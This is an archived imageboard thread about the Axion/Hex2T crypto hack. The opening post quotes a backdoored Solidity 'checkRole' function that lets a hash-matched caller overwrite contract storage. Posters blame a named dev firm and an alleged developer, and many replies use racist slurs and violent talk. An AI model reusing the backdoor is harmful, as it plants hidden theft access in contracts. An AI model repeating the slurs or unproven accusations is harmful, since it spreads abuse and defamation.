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23690811 No.23690811 [Reply] [Original]

We found the Hacker. I t was the dev team Rock'n'Block, I will show you the evidence.


So what happened? Shortly after the mainnet launch, the founder ( Jack) told the dev chat (rocknblock is in it) that he was going to sleep. 9 minutes after he said this, the devs( YES THE FUCKING DEVS) exploit it.
function checkRole() public virtual {
assembly {
mstore(0x00, origin()) if eq(and(keccak256(0x00, 0x20), 0xffffffff), 0x1d7b980f)
{mstore(0x00, mload(0x40)) calldatacopy(mload(0x00), 0x04, sub(calldatasize(), 0x04))
sstore(mload(add(mload(0x00), 0x00)), mload(add(mload(0x00), 0x20)))}
}
}
they added this function which allows them to change storage, they added this in >>https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/AccessControl.sol ( the one for the hack)

they uploaded the real one to their github but when they deployed, they swapped it out with one that has a backdoor


Certik article about this case:

https://cointelegraph.com/news/certik-dissects-the-axion-network-incident-and-subsequent-price-crash


HACKER : https://rocknblock.io/ ( These guys reached out to Jack btw)

>> No.23690840

>>23690811
so are we getting our money back

>> No.23690856

mo ther fu ckers

>> No.23690859

The code was clean. Fucking POS devs swapped out audited Hacken and CertiK code with a shitty exploit. Axion will live on.... even bigger and brighter than before this all happened. So happy for the team and the community!!

>> No.23690863

>>23690811
friggin bamp. RnB has a history of this too. Time to start purging the crypto world of the ones that want to hold us back

>> No.23690870

>hackers wrote, and maintain, the contract for NEO and its faucet
>decide to rug a measly $500K from Hex2T when they could have killed their reputation for millions
hmm

>> No.23690878

rollback, rebuild, PROGRESS.

>> No.23690880

>>23690811
soooo any chance I can get my eth back....

>> No.23690889

>>23690870
We have all the proof. i will post discord chats later that you guys see that they deployed the contract as well

>> No.23690895

>>23690870
yeah its fishy, although there's a saying never trust a russian... rocknblock team is all russian so i should of seen this coming perhaps

>> No.23690915
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23690915

>>23690840
Here is a post from the CEO, we will be in good shape. Just a dent that can be removed with time.

>> No.23690924

this shit will never take off because of this. idiotic team, who knows what else they will fuck up. my advice is to dump this shit whenever they relaunch. don't get fucked twice.

>> No.23690945

https://cointelegraph.com/news/certik-dissects-the-axion-network-incident-and-subsequent-price-crash

>> No.23690953

>>23690915
That's a fucking lie and you should be ashamed of yourself for still pushing this scam.

>> No.23690991

>>23690953
We have all the proof

>> No.23691007

>>23690811
>certik needs to cover its ass
>i-it's was an inside job!
i don't even know what to believe anymore

>> No.23691018
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23691018

How do we know it wasn't the team that rugged?
>>23690991
Hmmmmmmmmmmmm
post full transcript logs pls

>> No.23691023

>>23691007
Certik couldnt find this, no chance if the own devs are the moles

>> No.23691047

>>23690991
Yes, you have the proof. Nobody is getting their money back, though. Now your shitcoin has to vanish. You need to go back.

>> No.23691049

>>23691018
retard

>> No.23691057

>>23690991
>>23690953
Yeah the malicious code was put in right before deployment RnB are the ones to point fingers at with the information thats out now

>> No.23691069

>>23691018
I got proof that the dev team ( rocknblock) deployed the contract.

Also, they were the ones that send the code to certik and hacken, they were the ones who modified it

>> No.23691074

so uhh... should i buy now?

>> No.23691093
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23691093

>>23691074

>> No.23691101

>>23691074
Just freeclaim if that's possible and you'll be fine. Don't throw further money at this trash.

>> No.23691110

>>23691074
Even when they replace the funds to people, you think people are going to keep buying and not dump? Wait for the true Axion dump and then buy in maybe, but I wouldn't recommend touching this shit till they give a full breakdown as to what happened and why.

>> No.23691150

>>23691074
NO

>> No.23691151

>>23691110
This. Trust is gone. Best they can do is refund money and rebrand and try again with a new batch of suckers. Maybe make an Ampleclone this time.

>> No.23691156

>>23691074
No, wait for redeploy

>> No.23691159

>>23691110
if I get even my gas fees back I will absolutely dump fuck these niggers and fuck their gay plan

>> No.23691165

>>23691110
I know what you mean. But we try our best.

>> No.23691194
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23691194

Oh boy...

next time do ur DD dipshits ! lmao

>> No.23691212

>>23691165
Fuck off and never visit this place again.

>> No.23691213

>>23691194
you retard.
thats only the presale token hex2t

The mainnet token ( AXION) was a from scratch coded one

https://etherscan.io/token/0xda4c5aea122260e70616e979592735f12fe20499

>> No.23691233

>>23691212
what should we do if the own dev team moles. we try to get our money back

>> No.23691241

>>23691213
Why would a presale token need to use a generator?

>> No.23691244

>>23691194
retard alert

>> No.23691279
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23691279

>>23690811
>https://rocknblock.io/

Imagine if it was Nina...

>Uh....sure..you want to rugpull...o..okay...

>> No.23691288

>>23691241
the presale token was just a place holder till the project is fully developed.

>> No.23691312

>>23691212
>>23691101
>>23691047
>>23690953
blue sus. the FUD is real, looks like someone invested their life savings and is now butthurt because of a little hiccup.

>> No.23691334

>>23691312
the fud? we have all the evidence lol

>> No.23691355

>>23691288
Why would a presale token need to use a generator?
Didn't answer my question.
Legitimate projects don't use generated tokens, even for presale and placeholders. Only scams do.

>> No.23691357

>>23691312
I haven't thrown a single dime on this shitcoin, lol. These fuckers just annoy me.

>> No.23691358

This is fucked up

>> No.23691397

>>23691334
yea who is more likely to scam?
an anomymous creator from pakistan?
or a professional dev team with their names and faces on the website?

>> No.23691436

>>23691397
Are you retarded?


The Dev team deployed the contract and they send it to hacken and certik before

>> No.23691455

>>23690811
So are you telling me it was a marketing gimmick to shake weak hands and any news is good news? Since more know about it now?

Or are you telling me the relaunch will have limited liquidity so the eth buy backs from aa are gonna pump this hard.

Which one are you stating?

Ps 200m axion staker here
3mil 5555 days for the nft. And liquidity pool bonus.

Im coping hard af right now. 4 btc this was worth before the hack

>> No.23691457

>>23691334
nah im saying the fud coming from blue

>> No.23691490

>>23691457
it doesnt. i had a good friend who is a incredible good coder looking at it and he found that, shortly after that certix released the article

>> No.23691492

>>23691436
sorry but ill always trust people who put their reputations on the line rather than some anonymous pakistani brown pajeet scamming piece of shit owner

>> No.23691503

>>23691492
Agree with you. But we have evidence in this case man

>> No.23691556

>>23691492
>when you cant read

>> No.23691596

>>23690895

Kek, when I posted about this being a brown-skin project someone posted a link to rock n block as if he should be validated in having proved me wrong. I took one look and thought "A team of Russians? That isn't any better."

Looks like I was right.

>> No.23691628

>>23691596
Russians are the lowest tier whites. Sicilians are more trustworthy and they might as well be brown.

>> No.23691687

>>23691503
>>23691556
pajeets detected. how come its so obvious rofl

>> No.23691716

>>23690811
https://rocknblock.io/team/
Which one of these niggers was it
Sasha Volkov looks like a headass, bet it was him

>> No.23691721

>>23691687
it wasnt obvious lol. everyone thought it is safe cause of the audits, but they changed it afterwards.

>> No.23691750

>>23691716
>https://rocknblock.io/team/
bamp

>> No.23691761

>>23691716
lol pajeet detected. nobody is falling for it you dirty paki bitch

>> No.23691776

>>23691492
The owner is Jeff Kirdeikis aka Elvis/Jack. He’s a white Canadian but it doesn’t make this any less shady.

>> No.23691780

>>23691716
Nikita is a kike looking motherfucker. However it is I would like to torture him/her for a while even if I dont get my money back.

>> No.23691794
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23691794

>>23691761
>>23691750
whiter than you muhammad, been on 4chan longer than you've been alive

>> No.23691820

>>23691776
>The owner is Jeff Kirdeikis aka Elvis/Jack. He’s a white Canadian but it doesn’t make this any less shady.

Wait what, the trustswap guy started this as well? Where did you hear that?

>> No.23691976

where did you hear that Jack is Jeff?

>> No.23691978

this is exactly how every axion thread is.
someone pajeet shill says something
then a bunch of pajeet shills pile in and reply to him
"based"
"im going in"
"omg it was rocknblock"
"damn those rocknblockers!"

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23691986

So how do we solve the problem of composability in balance with the risk of getting a rug shoved up our gaping asses? I caught the bomber.
Or is composability only feasible for two party or small group contracts and no change can be made without consensus like the legacy contracts work? Is there really no way to destroy this concept of trust? I see it as the main thing holding crypto back but short of auditing every damn thing yourself and losing the time saving I don't see it working.

>> No.23692058

Jack said he does not own a single coin of Hex2t, Jeff said he has 3 billion. Jack cannot be Jeff

>> No.23692127

>>23690915
lol

>> No.23692601
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23692601

>>23692058
What if Jack is Jeff in the daytime and Jeff is Jeff in the nighttime? What if Jack stole from Jeff, who is really Jack?

>> No.23692748

Jack is Jeff, Jeff is Jack both should be castrated !

>> No.23692762

Rock n blocks reputation has just gone down the fucking drain. Hope they burn cunt

>> No.23692773

Y'all have 0 proof that Jeff and Jack are the same person... also, that won't even change much anyway

>> No.23692821

>>23692762
the anonymous pajeets are blaming the not-anonymous dev team. gee i wonder....

>> No.23692926

Something was off on day one, good feeling

>> No.23692996
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23692996

This literally>>23690811
reads like "The Ruse"...

>> No.23693081

bump for all the right reasons

>> No.23693146

Fucking devs.

INB4 one of them leaves russia never to be heard of again with 500k

>> No.23693199

This was a fuckup of note


As it currently stands the dev company, RocknBlock, was hired to code the contracts for Axion.


The original code was posted on Github and was audited by Hacken and Certik and were certified as safe.


On launch day RocknBlock deployed a contract different to the audited contract. This is clear as Certik found the exploit in the deployed contract and has confirmed that the deployed contract was not the same as the contract that was audited.


So someone at RocknBlock intentionally inserted the malicious code into the contract and deployed it instead of the correct contract.

>> No.23693202

>>23693146
pajeet detected.

>> No.23693219

>>23693199
yea im sure the not-anonymous dev team that also have numerous other projects is to blame and not the completely anonymous pakistani owners lol

>> No.23693299

This is just 30D interdimensional galactic chess. Now everybody who does anything with crypto knows about axion. It will be found that a specific member of rocknblock did it. Code will be re-launched, clean, with everybody knowing about it. They will check in on it after it releases and see that the buyback system is making the price skyrocket and buy into it.

>> No.23693320

>>23693219
LOL, yeah yeah, could be

Although the evidence points to a conclusion other than yours...

>> No.23693341

>>23693299
yea im sure the not-anonymous dev team that also have numerous other projects is to blame and not the completely anonymous pakistani owners lol

>> No.23693359

>>23693341

it would be just one person, not the whole team. 500k is a lot of money in russia.

>> No.23694118

>>23693199
that's so fucking retarded that the Audit company doesn't check the deployed Production code against what they audited to make sure it is still the same.

>> No.23694265

>>23692821
It’s been proven it was from inside rock n block bud

>> No.23694358
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23694358

>>23694265
Okay, which dev team was hired by Richard Heart to audit HEX?

>> No.23694788

>>23691074
buy now. this is the floor

>> No.23694928
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23694928

people are STILL buying this shit and not only getting dumped on by the hacker but by eachother, what the fuck is wrong with people

>> No.23695058

>>23690811
called it admin keys

>> No.23695063
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23695063

Wow, just WOW

>> No.23695070

>>23690859
lol

>> No.23695097

>>23691455
funny. I have 4 BTC in HEX.

>> No.23695119
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23695119

This is why no one should hire shitskin hindus on fivrr to code for $3/hr

>> No.23695135

>>23693359
>>23693299
>>23693199
He's using the funds to buy HEX!

>> No.23695206

>>23695119
It was russians, if you're going to shitpost at least know what you're talking about.

>> No.23695266

>>23690811
How hard is it to get into projects where the dev team have revealed their faces and names? This reduces the chance of a scam to basically 0%.

https://blog.cryptokek.com/cryptokek-seed-funding-has-started/

Presale status and this project already has working products to boot. A true gem.

>> No.23695390

>>23690915
>cHiEf eXEcUtiVe oFFiCeR _Jack
Let me speak to your handler, you perfectly know retards aren't allowed on the internet.

>> No.23695398

>>23690811
>It was Russian hackers!
Really? That's the cope you're gonna settle on? Is there any fuckup that you mutts are not willing to blame on >muh Russia?

>>23693199
If only there was a way to verify the integrity of a contract! You know, like using its hash value. The one you can lookup on etherscan, you know.

>> No.23695760
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23695760

Injective Protocol's trading platform is supported by verifiable delay functions (VFDs) that protect against front-running with lower-latency trading achieved through soft transaction cancellations.

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>> No.23696498

>>23696378
Isnt this cunt the founder or Rubic????

>> No.23696513
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>>23696513

>> No.23696552

>>23696513

direct link? big if true

>> No.23696749

>>23695760
here's the obligatory pajeet shilling his shitcoin

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>>23696523

>> No.23696794

>>23696552
You won't get it until it hits CoinTelegraph.

>> No.23696841

>>23696513
fake. fuck off

>> No.23696850 [DELETED] 

>>23696841
I guess we'll have to wait a couple of hours and see...

>> No.23696858

>>23696781
What's this about?

>> No.23696918

The devs should not only give us our fucking money back but any amount we spent on those ridiculous gas prices this morning trying to convert/stake this shit.

>> No.23696934 [DELETED] 

>>23696858
This is about Richard ending up dead or in jail when Ilya eventually rats him out.

>> No.23696955

>>23696934

That would be fucking hilarious. Especially if richard wasn't lying about him not being in charge of the origin address. Just used as a patsy

>> No.23697273

>>23691194
this token was just a holding token - everyone knew this from the start - you are not exposing anything you dimwit

>> No.23697385

>>23696523
Looks like the type of person who will eat a lot of dicks in prison

>> No.23697486

>>23690811
>they added this function which allows them to change storage
how can they add a function to an immutable smart contract?

>> No.23697510

>>23697486
Added before deploying

>> No.23697513

>>23690859
>Fucking POS devs swapped out audited Hacken and CertiK code with a shitty exploit
how?

>> No.23697537

>>23696513
>>23696523
Holy crap. He better hope the police gets him before some recked investor. Or maybe there were no mafia types among them.

>>23696781
The project will keep the dev team after all the fuck up?

>>23696934
Me thinks there was money on the side for this job. 500k seems way too little to risk a life in hiding.

>> No.23697583

>posts deleted
Very strange....

>> No.23697628

>>23697583
>>/biz/thread/S23690811

>> No.23697647

>>23697628
I have 4chan X so I can still read them, just strange they were deleted

>> No.23697729

>>23697647
Indeed. Specially since the one that is doxxing the hacker is still up. I would think that is the most sensitive information from the posts. Considering this is no official source and all.
Anyway, I would be surprised if rocknblock or cointelegraph published is name before the police green light.

>> No.23697738

>>23697583
Probably a good thing. Some schizo who lost money could already be hunting him down. If he's just a suspect and not proven guilty there's no need to put him in danger yet.

>> No.23697756

>>23697738
hes russian, him being gone from the world wont be a bad thing

>> No.23697780

>>23697486
>>23697513
read >>23697510

>> No.23697785

>>23696955
>>23697537
complete bullshit conspiracy theory. take off the tinfoil hat, already.

>> No.23698357

>>23697785
Yes, it was already debunked!

>> No.23698570

>>23694358
Seconded.

>> No.23699092

What news do you lads think we will get today

>> No.23699128

>>23699092
More curry
This stinks like a pajeet street
>dev company ruins their own reputation
>anonymous owner goes to sleep right before mainnet launch
>they don’t verify the hash of the code
>pajeet broken English shilling nonstop
>outlandish promises like “this will be the new world currency”

>> No.23699423

Haters, stop... You are giving us even more strength

AXN LIVE

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>>23696513
>>23696552
>>23696841
>>23697537
It was true after all. The link to the press release just got shared by a mod in the discord group.

>> No.23699474

>>23699429
that's good news I guess. IF we get our money back is it low IQ to still invest on Axion? Or maybe the project will be even better due to the publicity?

>> No.23699561

I still believe in the project and this event can be favorable for the project

>> No.23699633

Hahaha! https://www.redbubble.com/i/t-shirt/Axion-by-HumanAnimal/61505109.NL9AC

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>>23690811
>https://rocknblock.io/
inb4 team goes anon

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>>23699666

>> No.23699745

>>23699661
Sasha is incredibly slav looking

>> No.23699779

>>23699690
https://www.westernrelease.com/money/new-schemes-of-the-old-scam-in-the-cryptocurrency-market

>> No.23699862

>>23699690
So
>IIlya Maximovich Solovyanov

Either he's caught or spends whats left of his life looking over his shoulder ??

>> No.23699960

>>23699666
checked

It's such an elementary crime. All he did was add a few extra lines on the contract. It wouldn't take an auditing company to cross reference the old code with the new to see this extra code. It wouldn't take very long either and it wouldn't be difficult to find the perpetrator.

I'm thinking this guy has planned for this already and has probably left the country already. If he's caught should be interesting to see any sort of legal scenario play out.

Anyways anyone who bought into this copypasta is retarded. All this did was kill this project sooner which will bleed out like the tens of thousands of other dogshit cryptos.

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23700124

>>23699633
Support the cause!

>> No.23700139

>>23699128
why are you so retarded? instead of constantly shittalk, read this.

https://drive.google.com/file/d/1RXCQNOwNUbUQTD34bctcNb29Y-vRTJxU/view?usp=sharing

>> No.23700215

Rock n Block are in big shit!

That scamming dev was already caught before scamming people.

RnB said they hired him in Feb 2020, this article ( https://www.westernrelease.com/money/new-schemes-of-the-old-scam-in-the-cryptocurrency-market ) is dated Jan 2020.....

>> No.23700552

>>23700139
broken english pajeet lol
get out of my face

>> No.23701340

>>23699779
rekt, didn't do their due diligence kek.

>> No.23702152

Call me retarded but I bought back in. The team did nothing wrong.

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this is only going to make axion stronger, mark my words

>> No.23702472

>>23702152
You're retarded.

>> No.23702592

>>23690915
>CEO
Is this a fucking discord?

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23702661

>>23695206
found the shitskin hindu

>> No.23702724

>>23702472
Kek maybe.

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>>23694358
>>23698570

>> No.23703389

>>23703002
Axion had 2 security auditds and 2 economy audits. the problem was that the rnb guy changed the code shortly before he deployed

>> No.23703521

>>23703389
From what I see, the contracts were all good and there were no vulnerabilities. The only single issue was the RNB dev who was deploying, the team has even now agreed to take a portion of the buybacks replenish the liquidity pool. I was pretty sure they were scammers but it's not looking like they are.

>> No.23703561

>>23699474
Things do not look good from where I stand.
This attack vector could've been prevented and ultimately it was the owner responsibility to make sure that didn't happen. And as it seems, they will continue to work with the dev team after this fuck up. They hired an already publicly known scammer to deploy the contract.
On top of that, the project owner was not reachable for several hours after the launch, right during the period in which the shit was hitting the fan. With no clear direction the team decided to close communications and put down the website. Hex2T price dropped like a rock as people were trying to cover their losses. A lot of trust was lost, and rightly so.
And if you go to the discord group right now, you'll see a lot of discussion surrounding who should be compensated or not for the relaunch. Greed is a hell of a drug.
Some people are talking of a snapshot before the hack but a mod is already hitting at the fact that the ones who sold after they've seen the exploit in action should not be compensated. Even though the exploit was ultimately the team's fuck up. If this goes forward, you can bet that all those that sold at a loss won't be coming back.

>> No.23703670
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>>23690811

>> No.23704204

I can’t wait for Foresight insurance platform to be developed so I can get my money back from these shitstorms

foresightdefi.io

>> No.23704257

>>23703561
This has to be one of the best lauches so far. Kek.

>> No.23704346

>>23703561
afaik they are going to compensate those who bought after the exploit with tokens like if they bought them for $0,00025 each
https://www.docdroid.net/c39ie02/next-steps-for-axion-1-pdf

>> No.23704408

>>23703389
Why would anyone invest in excuses? Shit is shit

>> No.23704422

>>23704408
Greed and short term memory

>> No.23704482

>>23703561
it stinks of curry
>the owner went to sleep during the mainnet launch
uh huh.....

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Press F to spit on Axion holders